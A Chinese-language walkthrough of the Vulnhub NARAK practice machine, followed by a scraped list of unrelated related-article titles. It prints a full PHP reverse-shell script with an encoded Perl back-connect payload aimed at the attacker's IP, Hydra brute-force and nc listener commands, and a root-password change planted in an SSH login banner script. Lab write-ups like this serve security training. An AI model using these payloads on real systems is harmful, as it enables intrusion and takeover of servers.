声明

好好学习,天天向上

搭建

用vmware打开,都调成NAT或者都调成桥接

渗透

存活扫描,发现目标

arp-scan -l

端口扫描

nmap -T4 -A 192.168.31.52 -p 1-65535 -oN nmap.A

开启端口

发现开启80,22

访问80

http://192.168.31.52

看了首页,看见了地狱一样,不禁让我想起了最近的电视剧《风声》里面的地狱变

扫目录吧

python3 dirsearch.py -u 192.168.31.52

开的目录不是很多

使用cewl收集社工字典,爬虫会根据指定的URL和深度进行爬取,然后打印出可用于密码破解的字典

cewl 192.168.31.52/ -w pass.dic

访问webdav,需要密码

http://192.168.31.52/webdav/

hydra爆破一下

hydra -L pass.dic -P pass.dic 192.168.31.52 http-get /webdav

爆破出

yamdoot
Swarg

登录,还是webdav

webdav是个啥?

WebDAV (Web-based Distributed Authoring and Versioning) 一种基于 HTTP 1.1协议的通信协议。它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,使应用程序可对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。

使用cadaver对webdav进行读写,既然是读写那就和上传下载的webshell扯到一起了,思路如下:

1.kali监听6666端口

2.使用cadaver连接到webdav库

3.写好php反连脚本并上传

4.访问php

1.kali监听6666端口

nc -lvvp 6666

2.使用cadaver连接到webdav库

cadaver http://192.168.31.52/webdav
yamdoot
Swarg

3.写好php反连脚本并上传

shell.php,内容如下,自行修改反弹到kali的IP和端口

<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.31.64";
$yourport = '6666';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>

准备好php后,webdav命令行执行

put shell.php

4.访问php

可以看到kali已经反弹shell,执行下面的命令进入python交互式

python3 -c 'import pty;pty.spawn("/bin/bash")'

进入home目录翻一翻,拿到user.txt,接下来需要拿root.txt了

在根目录的mnt下发现可疑脚本

接下来需要解密(brainfuck 解码)

https://www.splitbrain.org/services/ook

输入

--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.

拿到解密后的明文

chitragupt

得到用户

inferno/chitragupt

ssh登录

ssh inferno@192.168.31.52

现在我们要通过修改ssh登陆时的欢迎信息对root密码进行修改,修改的文件是00-header文件在/etc/update-motd.d目录下,执行

echo “echo ‘root:admin’ | sudo chpasswd” >> /etc/update-motd.d/00-header

显示没有权限,我就直接vi

vi /etc/update-motd.d/00-header

加入,可以保存

echo ‘root:admin’ | sudo chpasswd

重新登录inferno用户,su root刚刚更改的密码:

总结

1.信息收集

端口发现80和22

通过80,发现有webdav,使用cewl扫描页面生成社工字典

2.web权限

使用hydra对webdav进行爆破,拿到webdav的web权限

3.shell权限

拿到webdav的用户名和密码后,使用cadaver登录webdav的数据库,上传一个反弹shell脚本,web访问该脚本后,拿到shell权限

4.权限维持

拿到shell后,查阅文件,发现另一个账户的密码,使用ssh进行连接登录,拿到flag

5.提权

修改ssh的欢迎文件,加入修改root密码的脚本,再次使用ssh连接,就修改了root的密码,su到root,拿到flag

Vulnhub靶机实战-NARAK相关推荐

  1. 全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战(七)IMF【包含了sql注入,文件上传,gif图片木马制作,缓冲区溢出漏洞sploit等诸多知识点的靶机,超多干货】

    靶机地址:https://www.vulnhub.com/entry/imf-1,162/ 靶机难度:中级(CTF) 靶机发布日期:2016年10月30日 靶机描述:欢迎使用" IMF&qu ...

  2. Vulnhub靶机实战——DC-8

    靶机DC-8下载地址: https://download.vulnhub.com/dc/DC-8.zip 环境:VMware 15虚拟机软件 DC-8靶机IP地址:192.168.220.156 Ka ...

  3. Vulnhub靶机实战——DC-5

    靶机DC-5下载地址:https://download.vulnhub.com/dc/DC-5.zip 环境:VMware 15虚拟机软件 DC-5靶机IP地址:192.168.220.139 Kal ...

  4. Vulnhub靶机实战——Matrix2

    Matrix2靶机下载地址: https://download.vulnhub.com/matrix/matrix2-Unknowndevice64.ova 环境: VMware 15虚拟机软件 Ma ...

  5. 挑战全网最详细靶机教程——vulnhub靶机实战 lampiao【适合刚接触的新人学习】

    靶机地址:https://www.vulnhub.com/entry/lampiao-1,249/ 靶机难度:中等 工具:kalilinux: 一个灵活的脑子 : 一双手 目标:得到root权限&am ...

  6. 挑战全网最详细靶机教程——vulnhub靶机实战vulnhub Tr0ll: 1【适合刚接触的新人学习】

    靶机地址:https://www.vulnhub.com/entry/tr0ll-1,100/ 靶机难度:简单 靶机发布日期:2014年8月14日 靶机描述:Tr0ll的灵感来自OSCP实验室中不断摇 ...

  7. Vulnhub靶机实战——Matrix3

    下载地址: https://download.vulnhub.com/matrix/Machine_Matrix_v3.ova 环境: VMware 15虚拟机软件 Matrix3靶机IP地址:192 ...

  8. Vulnhub靶机实战——DC-3

    靶机DC-3下载地址:https : //download.vulnhub.com/dc/DC-3.zip 靶机DC-3VMware下载地址:https : //download.vulnhub.co ...

  9. DC-5 vulnhub靶机实战

    首先是使用virtualbox安装,这里不推荐vmware,会出很多问题. nmap扫一下子网,看靶机的ip地址: 发现ip是192.168.240.137,开放了80和111端口. 给了提示是个文件 ...

最新文章

  1. SPOJ - BITDIFF: Bit Difference [神妙の预处理]
  2. 软件工程学完java后干_软件工程学习后的一些体会--------两周
  3. Intellj(IDEA) warning no artifacts configured
  4. java 什么是迭代器
  5. RandomizedLogisticRegression ImportError解决思路参考
  6. Base64的编码实现原理攻略
  7. 引入外部机构需要注意的事项_如何与外部营销机构合作
  8. JQuery点击收起,点击展开以及部分非空小验证
  9. 在Simulink中设计多工位的系列PID控制器Design Family of PID Controllers for Multiple Operating Points
  10. C#编码简单性之泛型篇(如何编写简短的C#代码,随时更新)
  11. Django 的 之 视图
  12. 使用IntelliJ IDEA开发Spring MVC HelloWorld
  13. 使用标准测试函数测试全套 MATLAB 优化算法
  14. Read timed out executing GET (读取执行GET超时)
  15. syntax error: unexpected :=解决方案
  16. 怎样裁剪GIF动态图片?教你一键在线完成GIF裁剪
  17. kindeditor自定义添加网络视频插件,修改批量图片上传方式flash为h5
  18. 格子玻尔兹曼机(Lattice Boltzmann Method)系列4:LBM实例之方腔驱动流
  19. XML与Json解析
  20. 高能同步辐射光源基建攻克首个难关

热门文章

  1. java assertthat_assertThat使用方法
  2. 云原生之使用Docker部署OneNav个人书签管理器
  3. 苹果电脑如何使用pc键盘?
  4. nuxt3 引入高德地图
  5. 洛谷 P2053 [SCOI2007]修车 网络流 最小费用最大流 Dinic+Spfa
  6. shiro原理/流程(前后端不分离)
  7. linux exfat分区格式化,如何在 Linux 上将 USB 盘格式化为 exFAT | Linux 中国
  8. 汇聚能量,元气弹发射 | PingCAP Special Week - Tools matter 有感
  9. 在线 OJ 项目(二) · 操作数据库 · 设计前后端交互的 API · 实现在线编译运行功能
  10. 流行的表达式引擎简单分析对比